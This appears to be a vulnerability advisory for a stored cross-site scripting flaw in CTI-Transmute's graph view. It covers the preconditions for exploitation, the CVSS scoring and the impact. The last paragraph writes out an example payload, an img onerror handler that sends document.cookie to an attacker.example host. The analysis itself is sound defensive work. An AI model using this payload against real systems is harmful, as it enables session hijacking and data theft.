CTI-Transmute EUVD-2026-55633

Exploitation requires two conditions to both be met: (1) the attacker must control or influence CTI data that is converted and rendered by CTI-Transmute - this includes MISP events, STIX bundles, or any other CTI format the tool processes, whether sourced from an external feed, a shared repository, or user-supplied import; and (2) a victim user must open the conversion graph UI and interact with the graph in a way that triggers Pivotick's HTML-resolving paths, specifically hovering over or selecting a node containing the malicious value. The CVSS PR:N metric confirms no authentication of the attacker is required to craft the malicious CTI payload; however, the UI:A metric confirms victim interaction is mandatory - passive viewing without node selection may not trigger all vulnerable paths (particularly the properties panel sink). The raw-JSON popup sink additionally requires the victim to explicitly click 'Open raw JSON' on a node. Exploitation is limited to the browser session of the analyst viewing the graph and does not directly affect the server or other users' sessions unless session credentials are exfiltrated and reused.

The CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:N/UI:A/VC:L/VI:L/VA:N) places this at 5.1 (Medium). The network attack vector and low attack complexity reflect that the attacker merely needs to craft malicious CTI data and have it ingested and visualized - no special network position or race condition is required. The UI:A metric correctly captures that a victim analyst must open and interact with the graph. Impact is bounded to limited confidentiality and integrity (VC:L/VI:L), consistent with classic stored XSS: session token theft, credential harvesting, or in-browser actions performed as the victim are realistic but not full system compromise. No KEV listing exists, and no public exploit or POC has been identified at time of analysis, reducing urgency compared to actively weaponized XSS bugs. EPSS data was not provided in the source intelligence. The stored nature of the XSS - where payload persists in converted CTI data and fires on any analyst viewing the graph - is more dangerous than reflected XSS: a single poisoned STIX or MISP feed can affect all users of a shared CTI-Transmute instance. Threat intelligence analysts are the primary user population, making session hijacking a meaningful risk given their access to sensitive threat data.

An attacker with the ability to influence CTI data ingested by a target organization - for example, by publishing a malicious STIX bundle to a shared threat intelligence feed - embeds a crafted node label such as </span><img src=x onerror=fetch('https://attacker.example/steal?c='+document.cookie)> in a STIX object. When a CTI analyst imports and converts the feed in CTI-Transmute and views the resulting graph (hovering over or selecting the malicious node), Pivotick passes the unescaped label to template.innerHTML, the onerror handler fires, and the analyst's session cookie is exfiltrated to the attacker's server. No public POC has been identified, but the vulnerability mechanics are straightforward and the fix itself documents the exact payload class.